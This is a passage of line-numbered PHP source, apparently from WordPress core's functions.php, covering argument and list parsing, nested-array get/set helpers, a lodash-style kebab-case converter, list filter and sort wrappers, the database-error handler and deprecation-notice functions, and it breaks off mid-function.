4958 * @param string|array|object $args Value to merge with $defaults.
4959 * @param array $defaults Optional. Array that serves as the defaults.
4960 * Default empty array.
4961 * @return array Merged user defined values with defaults.
4962 */
4963function wp_parse_args( $args, $defaults = array() ) {
4964 if ( is_object( $args ) ) {
4965 $parsed_args = get_object_vars( $args );
4966 } elseif ( is_array( $args ) ) {
4967 $parsed_args =& $args;
4968 } else {
4969 wp_parse_str( $args, $parsed_args );
4970 }
4971
4972 if ( is_array( $defaults ) && $defaults ) {
4973 return array_merge( $defaults, $parsed_args );
4974 }
4975 return $parsed_args;
4976}
4977
4978/**
4979 * Converts a comma- or space-separated list of scalar values to an array.
4980 *
4981 * @since 5.1.0
4982 *
4983 * @param array|string $input_list List of values.
4984 * @return array Array of values.
4985 */
4986function wp_parse_list( $input_list ) {
4987 if ( ! is_array( $input_list ) ) {
4988 return preg_split( '/[\s,]+/', $input_list, -1, PREG_SPLIT_NO_EMPTY );
4989 }
4990
4991 // Validate all entries of the list are scalar.
4992 $input_list = array_filter( $input_list, 'is_scalar' );
4993
4994 return $input_list;
4995}
4996
4997/**
4998 * Cleans up an array, comma- or space-separated list of IDs.
4999 *
5000 * @since 3.0.0
5001 * @since 5.1.0 Refactored to use wp_parse_list().
5002 *
5003 * @param array|string $input_list List of IDs.
5004 * @return int[] Sanitized array of IDs.
5005 */
5006function wp_parse_id_list( $input_list ) {
5007 $input_list = wp_parse_list( $input_list );
5008
5009 return array_unique( array_map( 'absint', $input_list ) );
5010}
5011
5012/**
5013 * Cleans up an array, comma- or space-separated list of slugs.
5014 *
5015 * @since 4.7.0
5016 * @since 5.1.0 Refactored to use wp_parse_list().
5017 *
5018 * @param array|string $input_list List of slugs.
5019 * @return string[] Sanitized array of slugs.
5020 */
5021function wp_parse_slug_list( $input_list ) {
5022 $input_list = wp_parse_list( $input_list );
5023
5024 return array_unique( array_map( 'sanitize_title', $input_list ) );
5025}
5026
5027/**
5028 * Extracts a slice of an array, given a list of keys.
5029 *
5030 * @since 3.1.0
5031 *
5032 * @param array $input_array The original array.
5033 * @param array $keys The list of keys.
5034 * @return array The array slice.
5035 */
5036function wp_array_slice_assoc( $input_array, $keys ) {
5037 $slice = array();
5038
5039 foreach ( $keys as $key ) {
5040 if ( isset( $input_array[ $key ] ) ) {
5041 $slice[ $key ] = $input_array[ $key ];
5042 }
5043 }
5044
5045 return $slice;
5046}
5047
5048/**
5049 * Sorts the keys of an array alphabetically.
5050 *
5051 * The array is passed by reference so it doesn't get returned
5052 * which mimics the behavior of `ksort()`.
5053 *
5054 * @since 6.0.0
5055 *
5056 * @param array $input_array The array to sort, passed by reference.
5057 */
5058function wp_recursive_ksort( &$input_array ) {
5059 foreach ( $input_array as &$value ) {
5060 if ( is_array( $value ) ) {
5061 wp_recursive_ksort( $value );
5062 }
5063 }
5064
5065 ksort( $input_array );
5066}
5067
5068/**
5069 * Accesses an array in depth based on a path of keys.
5070 *
5071 * It is the PHP equivalent of JavaScript's `lodash.get()` and mirroring it may help other components
5072 * retain some symmetry between client and server implementations.
5073 *
5074 * Example usage:
5075 *
5076 * $input_array = array(
5077 * 'a' => array(
5078 * 'b' => array(
5079 * 'c' => 1,
5080 * ),
5081 * ),
5082 * );
5083 * _wp_array_get( $input_array, array( 'a', 'b', 'c' ) );
5084 *
5085 * @internal
5086 *
5087 * @since 5.6.0
5088 * @access private
5089 *
5090 * @param array $input_array An array from which we want to retrieve some information.
5091 * @param array $path An array of keys describing the path with which to retrieve information.
5092 * @param mixed $default_value Optional. The return value if the path does not exist within the array,
5093 * or if `$input_array` or `$path` are not arrays. Default null.
5094 * @return mixed The value from the path specified.
5095 */
5096function _wp_array_get( $input_array, $path, $default_value = null ) {
5097 // Confirm $path is valid.
5098 if ( ! is_array( $path ) || 0 === count( $path ) ) {
5099 return $default_value;
5100 }
5101
5102 foreach ( $path as $path_element ) {
5103 if ( ! is_array( $input_array ) ) {
5104 return $default_value;
5105 }
5106
5107 if ( is_string( $path_element )
5108 || is_integer( $path_element )
5109 || null === $path_element
5110 ) {
5111 /*
5112 * Check if the path element exists in the input array.
5113 * We check with `isset()` first, as it is a lot faster
5114 * than `array_key_exists()`.
5115 */
5116 if ( isset( $path_element, $input_array[ $path_element ] ) ) {
5117 $input_array = $input_array[ $path_element ];
5118 continue;
5119 }
5120
5121 /*
5122 * If `isset()` returns false, we check with `array_key_exists()`,
5123 * which also checks for `null` values.
5124 */
5125 if ( isset( $path_element ) && array_key_exists( $path_element, $input_array ) ) {
5126 $input_array = $input_array[ $path_element ];
5127 continue;
5128 }
5129 }
5130
5131 return $default_value;
5132 }
5133
5134 return $input_array;
5135}
5136
5137/**
5138 * Sets an array in depth based on a path of keys.
5139 *
5140 * It is the PHP equivalent of JavaScript's `lodash.set()` and mirroring it may help other components
5141 * retain some symmetry between client and server implementations.
5142 *
5143 * Example usage:
5144 *
5145 * $input_array = array();
5146 * _wp_array_set( $input_array, array( 'a', 'b', 'c', 1 ) );
5147 *
5148 * $input_array becomes:
5149 * array(
5150 * 'a' => array(
5151 * 'b' => array(
5152 * 'c' => 1,
5153 * ),
5154 * ),
5155 * );
5156 *
5157 * @internal
5158 *
5159 * @since 5.8.0
5160 * @access private
5161 *
5162 * @param array $input_array An array that we want to mutate to include a specific value in a path.
5163 * @param array $path An array of keys describing the path that we want to mutate.
5164 * @param mixed $value The value that will be set.
5165 */
5166function _wp_array_set( &$input_array, $path, $value = null ) {
5167 // Confirm $input_array is valid.
5168 if ( ! is_array( $input_array ) ) {
5169 return;
5170 }
5171
5172 // Confirm $path is valid.
5173 if ( ! is_array( $path ) ) {
5174 return;
5175 }
5176
5177 $path_length = count( $path );
5178
5179 if ( 0 === $path_length ) {
5180 return;
5181 }
5182
5183 foreach ( $path as $path_element ) {
5184 if (
5185 ! is_string( $path_element ) && ! is_integer( $path_element ) &&
5186 ! is_null( $path_element )
5187 ) {
5188 return;
5189 }
5190 }
5191
5192 for ( $i = 0; $i < $path_length - 1; ++$i ) {
5193 $path_element = $path[ $i ];
5194 if (
5195 ! array_key_exists( $path_element, $input_array ) ||
5196 ! is_array( $input_array[ $path_element ] )
5197 ) {
5198 $input_array[ $path_element ] = array();
5199 }
5200 $input_array = &$input_array[ $path_element ];
5201 }
5202
5203 $input_array[ $path[ $i ] ] = $value;
5204}
5205
5206/**
5207 * This function is trying to replicate what
5208 * lodash's kebabCase (JS library) does in the client.
5209 *
5210 * The reason we need this function is that we do some processing
5211 * in both the client and the server (e.g.: we generate
5212 * preset classes from preset slugs) that needs to
5213 * create the same output.
5214 *
5215 * We can't remove or update the client's library due to backward compatibility
5216 * (some of the output of lodash's kebabCase is saved in the post content).
5217 * We have to make the server behave like the client.
5218 *
5219 * Changes to this function should follow updates in the client
5220 * with the same logic.
5221 *
5222 * @since 5.8.0
5223 *
5224 * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L14369
5225 * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L278
5226 * @link https://github.com/lodash-php/lodash-php/blob/master/src/String/kebabCase.php
5227 * @link https://github.com/lodash-php/lodash-php/blob/master/src/internal/unicodeWords.php
5228 *
5229 * @param string $input_string The string to kebab-case.
5230 *
5231 * @return string kebab-cased-string.
5232 */
5233function _wp_to_kebab_case( $input_string ) {
5234 // Ignore the camelCase names for variables so the names are the same as lodash so comparing and porting new changes is easier.
5235 // phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
5236
5237 /*
5238 * Some notable things we've removed compared to the lodash version are:
5239 *
5240 * - non-alphanumeric characters: rsAstralRange, rsEmoji, etc
5241 * - the groups that processed the apostrophe, as it's removed before passing the string to preg_match: rsApos, rsOptContrLower, and rsOptContrUpper
5242 *
5243 */
5244
5245 /** Used to compose unicode character classes. */
5246 $rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff';
5247 $rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf';
5248 $rsPunctuationRange = '\\x{2000}-\\x{206f}';
5249 $rsSpaceRange = ' \\t\\x0b\\f\\xa0\\x{feff}\\n\\r\\x{2028}\\x{2029}\\x{1680}\\x{180e}\\x{2000}\\x{2001}\\x{2002}\\x{2003}\\x{2004}\\x{2005}\\x{2006}\\x{2007}\\x{2008}\\x{2009}\\x{200a}\\x{202f}\\x{205f}\\x{3000}';
5250 $rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde';
5251 $rsBreakRange = $rsNonCharRange . $rsPunctuationRange . $rsSpaceRange;
5252
5253 /** Used to compose unicode capture groups. */
5254 $rsBreak = '[' . $rsBreakRange . ']';
5255 $rsDigits = '\\d+'; // The last lodash version in GitHub uses a single digit here and expands it when in use.
5256 $rsLower = '[' . $rsLowerRange . ']';
5257 $rsMisc = '[^' . $rsBreakRange . $rsDigits . $rsLowerRange . $rsUpperRange . ']';
5258 $rsUpper = '[' . $rsUpperRange . ']';
5259
5260 /** Used to compose unicode regexes. */
5261 $rsMiscLower = '(?:' . $rsLower . '|' . $rsMisc . ')';
5262 $rsMiscUpper = '(?:' . $rsUpper . '|' . $rsMisc . ')';
5263 $rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])';
5264 $rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])';
5265
5266 $regexp = '/' . implode(
5267 '|',
5268 array(
5269 $rsUpper . '?' . $rsLower . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper, '$' ) ) . ')',
5270 $rsMiscUpper . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper . $rsMiscLower, '$' ) ) . ')',
5271 $rsUpper . '?' . $rsMiscLower . '+',
5272 $rsUpper . '+',
5273 $rsOrdUpper,
5274 $rsOrdLower,
5275 $rsDigits,
5276 )
5277 ) . '/u';
5278
5279 preg_match_all( $regexp, str_replace( "'", '', $input_string ), $matches );
5280 return strtolower( implode( '-', $matches[0] ) );
5281 // phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
5282}
5283
5284/**
5285 * Determines if the variable is a numeric-indexed array.
5286 *
5287 * @since 4.4.0
5288 *
5289 * @param mixed $data Variable to check.
5290 * @return bool Whether the variable is a list.
5291 */
5292function wp_is_numeric_array( $data ) {
5293 if ( ! is_array( $data ) ) {
5294 return false;
5295 }
5296
5297 $keys = array_keys( $data );
5298 $string_keys = array_filter( $keys, 'is_string' );
5299
5300 return count( $string_keys ) === 0;
5301}
5302
5303/**
5304 * Filters a list of objects, based on a set of key => value arguments.
5305 *
5306 * Retrieves the objects from the list that match the given arguments.
5307 * Key represents property name, and value represents property value.
5308 *
5309 * If an object has more properties than those specified in arguments,
5310 * that will not disqualify it. When using the 'AND' operator,
5311 * any missing properties will disqualify it.
5312 *
5313 * When using the `$field` argument, this function can also retrieve
5314 * a particular field from all matching objects, whereas wp_list_filter()
5315 * only does the filtering.
5316 *
5317 * @since 3.0.0
5318 * @since 4.7.0 Uses `WP_List_Util` class.
5319 *
5320 * @param array $input_list An array of objects to filter.
5321 * @param array $args Optional. An array of key => value arguments to match
5322 * against each object. Default empty array.
5323 * @param string $operator Optional. The logical operation to perform. 'AND' means
5324 * all elements from the array must match. 'OR' means only
5325 * one element needs to match. 'NOT' means no elements may
5326 * match. Default 'AND'.
5327 * @param bool|string $field Optional. A field from the object to place instead
5328 * of the entire object. Default false.
5329 * @return array A list of objects or object fields.
5330 */
5331function wp_filter_object_list( $input_list, $args = array(), $operator = 'and', $field = false ) {
5332 if ( ! is_array( $input_list ) ) {
5333 return array();
5334 }
5335
5336 $util = new WP_List_Util( $input_list );
5337
5338 $util->filter( $args, $operator );
5339
5340 if ( $field ) {
5341 $util->pluck( $field );
5342 }
5343
5344 return $util->get_output();
5345}
5346
5347/**
5348 * Filters a list of objects, based on a set of key => value arguments.
5349 *
5350 * Retrieves the objects from the list that match the given arguments.
5351 * Key represents property name, and value represents property value.
5352 *
5353 * If an object has more properties than those specified in arguments,
5354 * that will not disqualify it. When using the 'AND' operator,
5355 * any missing properties will disqualify it.
5356 *
5357 * If you want to retrieve a particular field from all matching objects,
5358 * use wp_filter_object_list() instead.
5359 *
5360 * @since 3.1.0
5361 * @since 4.7.0 Uses `WP_List_Util` class.
5362 * @since 5.9.0 Converted into a wrapper for `wp_filter_object_list()`.
5363 *
5364 * @param array $input_list An array of objects to filter.
5365 * @param array $args Optional. An array of key => value arguments to match
5366 * against each object. Default empty array.
5367 * @param string $operator Optional. The logical operation to perform. 'AND' means
5368 * all elements from the array must match. 'OR' means only
5369 * one element needs to match. 'NOT' means no elements may
5370 * match. Default 'AND'.
5371 * @return array Array of found values.
5372 */
5373function wp_list_filter( $input_list, $args = array(), $operator = 'AND' ) {
5374 return wp_filter_object_list( $input_list, $args, $operator );
5375}
5376
5377/**
5378 * Plucks a certain field out of each object or array in an array.
5379 *
5380 * This has the same functionality and prototype of
5381 * array_column() (PHP 5.5) but also supports objects.
5382 *
5383 * @since 3.1.0
5384 * @since 4.0.0 $index_key parameter added.
5385 * @since 4.7.0 Uses `WP_List_Util` class.
5386 *
5387 * @param array $input_list List of objects or arrays.
5388 * @param int|string $field Field from the object to place instead of the entire object.
5389 * @param int|string $index_key Optional. Field from the object to use as keys for the new array.
5390 * Default null.
5391 * @return array Array of found values. If `$index_key` is set, an array of found values with keys
5392 * corresponding to `$index_key`. If `$index_key` is null, array keys from the original
5393 * `$input_list` will be preserved in the results.
5394 */
5395function wp_list_pluck( $input_list, $field, $index_key = null ) {
5396 if ( ! is_array( $input_list ) ) {
5397 return array();
5398 }
5399
5400 $util = new WP_List_Util( $input_list );
5401
5402 return $util->pluck( $field, $index_key );
5403}
5404
5405/**
5406 * Sorts an array of objects or arrays based on one or more orderby arguments.
5407 *
5408 * @since 4.7.0
5409 *
5410 * @param array $input_list An array of objects or arrays to sort.
5411 * @param string|array $orderby Optional. Either the field name to order by or an array
5412 * of multiple orderby fields as `$orderby => $order`.
5413 * Default empty array.
5414 * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if `$orderby`
5415 * is a string. Default 'ASC'.
5416 * @param bool $preserve_keys Optional. Whether to preserve keys. Default false.
5417 * @return array The sorted array.
5418 */
5419function wp_list_sort( $input_list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
5420 if ( ! is_array( $input_list ) ) {
5421 return array();
5422 }
5423
5424 $util = new WP_List_Util( $input_list );
5425
5426 return $util->sort( $orderby, $order, $preserve_keys );
5427}
5428
5429/**
5430 * Determines if Widgets library should be loaded.
5431 *
5432 * Checks to make sure that the widgets library hasn't already been loaded.
5433 * If it hasn't, then it will load the widgets library and run an action hook.
5434 *
5435 * @since 2.2.0
5436 */
5437function wp_maybe_load_widgets() {
5438 /**
5439 * Filters whether to load the Widgets library.
5440 *
5441 * Returning a falsey value from the filter will effectively short-circuit
5442 * the Widgets library from loading.
5443 *
5444 * @since 2.8.0
5445 *
5446 * @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
5447 * Default true.
5448 */
5449 if ( ! apply_filters( 'load_default_widgets', true ) ) {
5450 return;
5451 }
5452
5453 require_once ABSPATH . WPINC . '/default-widgets.php';
5454
5455 add_action( '_admin_menu', 'wp_widgets_add_menu' );
5456}
5457
5458/**
5459 * Appends the Widgets menu to the themes main menu.
5460 *
5461 * @since 2.2.0
5462 * @since 5.9.3 Don't specify menu order when the active theme is a block theme.
5463 *
5464 * @global array $submenu
5465 */
5466function wp_widgets_add_menu() {
5467 global $submenu;
5468
5469 if ( ! current_theme_supports( 'widgets' ) ) {
5470 return;
5471 }
5472
5473 $menu_name = __( 'Widgets' );
5474 if ( wp_is_block_theme() ) {
5475 $submenu['themes.php'][] = array( $menu_name, 'edit_theme_options', 'widgets.php' );
5476 } else {
5477 $submenu['themes.php'][8] = array( $menu_name, 'edit_theme_options', 'widgets.php' );
5478 }
5479
5480 ksort( $submenu['themes.php'], SORT_NUMERIC );
5481}
5482
5483/**
5484 * Flushes all output buffers for PHP 5.2.
5485 *
5486 * Make sure all output buffers are flushed before our singletons are destroyed.
5487 *
5488 * @since 2.2.0
5489 */
5490function wp_ob_end_flush_all() {
5491 $levels = ob_get_level();
5492 for ( $i = 0; $i < $levels; $i++ ) {
5493 ob_end_flush();
5494 }
5495}
5496
5497/**
5498 * Loads custom DB error or display WordPress DB error.
5499 *
5500 * If a file exists in the wp-content directory named db-error.php, then it will
5501 * be loaded instead of displaying the WordPress DB error. If it is not found,
5502 * then the WordPress DB error will be displayed instead.
5503 *
5504 * The WordPress DB error sets the HTTP status header to 500 to try to prevent
5505 * search engines from caching the message. Custom DB messages should do the
5506 * same.
5507 *
5508 * This function was backported to WordPress 2.3.2, but originally was added
5509 * in WordPress 2.5.0.
5510 *
5511 * @since 2.3.2
5512 *
5513 * @global wpdb $wpdb WordPress database abstraction object.
5514 */
5515function dead_db() {
5516 global $wpdb;
5517
5518 wp_load_translations_early();
5519
5520 // Load custom DB error template, if present.
5521 if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
5522 require_once WP_CONTENT_DIR . '/db-error.php';
5523 die();
5524 }
5525
5526 // If installing or in the admin, provide the verbose message.
5527 if ( wp_installing() || defined( 'WP_ADMIN' ) ) {
5528 wp_die( $wpdb->error );
5529 }
5530
5531 // Otherwise, be terse.
5532 wp_die( '<h1>' . __( 'Error establishing a database connection' ) . '</h1>', __( 'Database Error' ) );
5533}
5534
5535/**
5536 * Marks a function as deprecated and inform when it has been used.
5537 *
5538 * There is a {@see 'deprecated_function_run'} hook that will be called that can be used
5539 * to get the backtrace up to what file and function called the deprecated function.
5540 *
5541 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
5542 *
5543 * This function is to be used in every function that is deprecated.
5544 *
5545 * @since 2.5.0
5546 * @since 5.4.0 This function is no longer marked as "private".
5547 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
5548 *
5549 * @param string $function_name The function that was called.
5550 * @param string $version The version of WordPress that deprecated the function.
5551 * @param string $replacement Optional. The function that should have been called. Default empty string.
5552 */
5553function _deprecated_function( $function_name, $version, $replacement = '' ) {
5554
5555 /**
5556 * Fires when a deprecated function is called.
5557 *
5558 * @since 2.5.0
5559 *
5560 * @param string $function_name The function that was called.
5561 * @param string $replacement The function that should have been called.
5562 * @param string $version The version of WordPress that deprecated the function.
5563 */
5564 do_action( 'deprecated_function_run', $function_name, $replacement, $version );
5565
5566 /**
5567 * Filters whether to trigger an error for deprecated functions.
5568 *
5569 * @since 2.5.0
5570 *
5571 * @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
5572 */
5573 if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
5574 if ( function_exists( '__' ) ) {
5575 if ( $replacement ) {
5576 $message = sprintf(
5577 /* translators: 1: PHP function name, 2: Version number, 3: Alternative function name. */
5578 __( 'Function %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
5579 $function_name,
5580 $version,
5581 $replacement
5582 );
5583 } else {
5584 $message = sprintf(
5585 /* translators: 1: PHP function name, 2: Version number. */
5586 __( 'Function %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
5587 $function_name,
5588 $version
5589 );
5590 }
5591 } else {
5592 if ( $replacement ) {
5593 $message = sprintf(
5594 'Function %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
5595 $function_name,
5596 $version,
5597 $replacement
5598 );
5599 } else {
5600 $message = sprintf(
5601 'Function %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.',
5602 $function_name,
5603 $version
5604 );
5605 }
5606 }
5607
5608 wp_trigger_error( '', $message, E_USER_DEPRECATED );
5609 }
5610}
5611
5612/**
5613 * Marks a constructor as deprecated and informs when it has been used.
5614 *
5615 * Similar to _deprecated_function(), but with different strings. Used to
5616 * remove PHP4-style constructors.
5617 *
5618 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
5619 *
5620 * This function is to be used in every PHP4-style constructor method that is deprecated.
5621 *
5622 * @since 4.3.0
5623 * @since 4.5.0 Added the `$parent_class` parameter.
5624 * @since 5.4.0 This function is no longer marked as "private".
5625 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
5626 *
5627 * @param string $class_name The class containing the deprecated constructor.
5628 * @param string $version The version of WordPress that deprecated the function.
5629 * @param string $parent_class Optional. The parent class calling the deprecated constructor.
5630 * Default empty string.
5631 */
5632function _deprecated_constructor( $class_name, $version, $parent_class = '' ) {
5633
5634 /**
5635 * Fires when a deprecated constructor is called.
5636 *
5637 * @since 4.3.0
5638 * @since 4.5.0 Added the `$parent_class` parameter.
5639 *
5640 * @param string $class_name The class containing the deprecated constructor.
5641 * @param string $version The version of WordPress that deprecated the function.
5642 * @param string $parent_class The parent class calling the deprecated constructor.
5643 */
5644 do_action( 'deprecated_constructor_run', $class_name, $version, $parent_class );
5645
5646 /**
5647 * Filters whether to trigger an error for deprecated functions.
5648 *
5649 * `WP_DEBUG` must be true in addition to the filter evaluating to true.
5650 *
5651 * @since 4.3.0
5652 *
5653 * @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
5654 */
5655 if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) {
5656 if ( function_exists( '__' ) ) {
5657 if ( $parent_class ) {
5658 $message = sprintf(
5659 /* translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. */
5660 __( 'The called constructor method for %1$s class in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ),
5661 $class_name,
5662 $parent_class,
5663 $version,
5664 '<code>__construct()</code>'
5665 );
5666 } else {
5667 $message = sprintf(
5668 /* translators: 1: PHP class name, 2: Version number, 3: __construct() method. */
5669 __( 'The called constructor method for %1$s class is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
5670 $class_name,
5671 $version,
5672 '<code>__construct()</code>'
5673 );
5674 }
5675 } else {
5676 if ( $parent_class ) {
5677 $message = sprintf(
5678 'The called constructor method for %1$s class in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.',
5679 $class_name,
5680 $parent_class,
5681 $version,
5682 '<code>__construct()</code>'
5683 );
5684 } else {
5685 $message = sprintf(
5686 'The called constructor method for %1$s class is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
5687 $class_name,
5688 $version,
5689 '<code>__construct()</code>'
5690 );
5691 }
5692 }
5693
5694 wp_trigger_error( '', $message, E_USER_DEPRECATED );
5695 }
5696}
5697
5698/**
5699 * Marks a class as deprecated and informs when it has been used.
5700 *
5701 * There is a {@see 'deprecated_class_run'} hook that will be called that can be used
5702 * to get the backtrace up to what file and function called the deprecated class.
5703 *
5704 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
5705 *
5706 * This function is to be used in the class constructor for every deprecated class.
5707 * See {@see _deprecated_constructor()} for deprecating PHP4-style constructors.
5708 *
5709 * @since 6.4.0
5710 *
5711 * @param string $class_name The name of the class being instantiated.
5712 * @param string $version The version of WordPress that deprecated the class.
5713 * @param string $replacement Optional. The class or function that should have been called.
5714 * Default empty string.
5715 */
5716function _deprecated_class( $class_name, $version, $replacement = '' ) {
5717
5718 /**
5719 * Fires when a deprecated class is called.
5720 *
5721 * @since 6.4.0
5722 *
5723 * @param string $class_name The name of the class being instantiated.
5724 * @param string $replacement The class or function that should have been called.
5725 * @param string $version The version of WordPress that deprecated the class.
5726 */
5727 do_action( 'deprecated_class_run', $class_name, $replacement, $version );
5728
5729 /**
5730 * Filters whether to trigger an error for a deprecated class.
5731 *
5732 * @since 6.4.0
5733 *
5734 * @param bool $trigger Whether to trigger an error for a deprecated class. Default true.
5735 */
5736 if ( WP_DEBUG && apply_filters( 'deprecated_class_trigger_error', true ) ) {
5737 if ( function_exists( '__' ) ) {
5738 if ( $replacement ) {
5739 $message = sprintf(
5740 /* translators: 1: PHP class name, 2: Version number, 3: Alternative class or function name. */
5741 __( 'Class %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
5742 $class_name,
5743 $version,
5744 $replacement
5745 );
5746 } else {
5747 $message = sprintf(
5748 /* translators: 1: PHP class name, 2: Version number. */
5749 __( 'Class %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
5750 $class_name,
5751 $version
5752 );
5753 }
5754 } else {
5755 if ( $replacement ) {
5756 $message = sprintf(
5757 'Class %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
5758 $class_name,
5759 $version,
5760 $replacement
5761 );
5762 } else {
5763 $message = sprintf(
5764 'Class %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.',
5765 $class_name,
5766 $version
5767 );
5768 }
5769 }
5770
5771 wp_trigger_error( '', $message, E_USER_DEPRECATED );
5772 }
5773}
5774
5775/**
5776 * Marks a file as deprecated and inform when it has been used.
5777 *
5778 * There is a {@see 'deprecated_file_included'} hook that will be called that can be used
5779 * to get the backtrace up to what file and function included the deprecated file.
5780 *
5781 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
5782 *
5783 * This function is to be used in every file that is deprecated.
5784 *
5785 * @since 2.5.0
5786 * @since 5.4.0 This function is no longer marked as "private".
5787 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
5788 *
5789 * @param string $file The file that was included.
5790 * @param string $version The version of WordPress that deprecated the file.
5791 * @param string $replacement Optional. The file that should have been included based on ABSPATH.
5792 * Default empty string.
5793 * @param string $message Optional. A message regarding the change. Default empty string.
5794 */
5795function _deprecated_file( $file, $version, $replacement = '', $message = '' ) {
5796
5797 /**
5798 * Fires when a deprecated file is called.
5799 *
5800 * @since 2.5.0
5801 *
5802 * @param string $file The file that was called.
5803 * @param string $replacement The file that should have been included based on ABSPATH.
5804 * @param string $version The version of WordPress that deprecated the file.
5805 * @param string $message A message regarding the change.
5806 */
5807 do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
5808
5809 /**
5810 * Filters whether to trigger an error for deprecated files.
5811 *
5812 * @since 2.5.0
5813 *
5814 * @param bool $trigger Whether to trigger the error for deprecated files. Default true.
5815 */
5816 if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
5817 $message = empty( $message ) ? '' : ' ' . $message;
5818
5819 if ( function_exists( '__' ) ) {
5820 if ( $replacement ) {
5821 $message = sprintf(
5822 /* translators: 1: PHP file name, 2: Version number, 3: Alternative file name. */
5823 __( 'File %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
5824 $file,
5825 $version,
5826 $replacement
5827 ) . $message;
5828 } else {
5829 $message = sprintf(
5830 /* translators: 1: PHP file name, 2: Version number. */
5831 __( 'File %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
5832 $file,
5833 $version
5834 ) . $message;
5835 }
5836 } else {
5837 if ( $replacement ) {
5838 $message = sprintf(
5839 'File %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
5840 $file,
5841 $version,
5842 $replacement
5843 );
5844 } else {
5845 $message = sprintf(
5846 'File %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.',
5847 $file,
5848 $version
5849 ) . $message;
5850 }
5851 }
5852
5853 wp_trigger_error( '', $message, E_USER_DEPRECATED );
5854 }
5855}
5856
5857/**
5858 * Marks a function argument as deprecated and inform when it has been used.
5859 *
5860 * This function is to be used whenever a deprecated function argument is used.
5861 * Before this function is called, the argument must be checked for whether it was
5862 * used by comparing it to its default value or evaluating whether it is empty.
5863 *
5864 * For example:
5865 *
5866 * if ( ! empty( $deprecated ) ) {
5867 * _deprecated_argument( __FUNCTION__, '3.0.0' );
5868 * }
5869 *
5870 * There is a {@see 'deprecated_argument_run'} hook that will be called that can be used
5871 * to get the backtrace up to what file and function used the deprecated argument.
5872 *
5873 * The current behavior is to trigger a user error if WP_DEBUG is true.
5874 *
5875 * @since 3.0.0
5876 * @since 5.4.0 This function is no longer marked as "private".
5877 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
5878 *
5879 * @param string $function_name The function that was called.
5880 * @param string $version The version of WordPress that deprecated the argument used.
5881 * @param string $message Optional. A message regarding the change. Default empty string.
5882 */
5883function _deprecated_argument( $function_name, $version, $message = '' ) {
5884
5885 /**
5886 * Fires when a deprecated argument is called.
5887 *
5888 * @since 3.0.0
5889 *
5890 * @param string $function_name The function that was called.
5891 * @param string $message A message regarding the change.
5892 * @param string $version The version of WordPress that deprecated the argument used.
5893 */
5894 do_action( 'deprecated_argument_run', $function_name, $message, $version );
5895
5896 /**
5897 * Filters whether to trigger an error for deprecated arguments.
5898 *
5899 * @since 3.0.0
5900 *
5901 * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
5902 */
5903 if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
5904 if ( function_exists( '__' ) ) {
5905 if ( $message ) {
5906 $message = sprintf(
5907 /* translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. */
5908 __( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s' ),
5909 $function_name,
5910 $version,
5911 $message
5912 );
5913 } else {
5914 $message = sprintf(
5915 /* translators: 1: PHP function name, 2: Version number. */
5916 __( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
5917 $function_name,
5918 $version
5919 );
5920 }
5921 } else {
5922 if ( $message ) {
5923 $message = sprintf(
5924 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s',
5925 $function_name,
5926 $version,
5927 $message
5928 );
5929 } else {
5930 $message = sprintf(
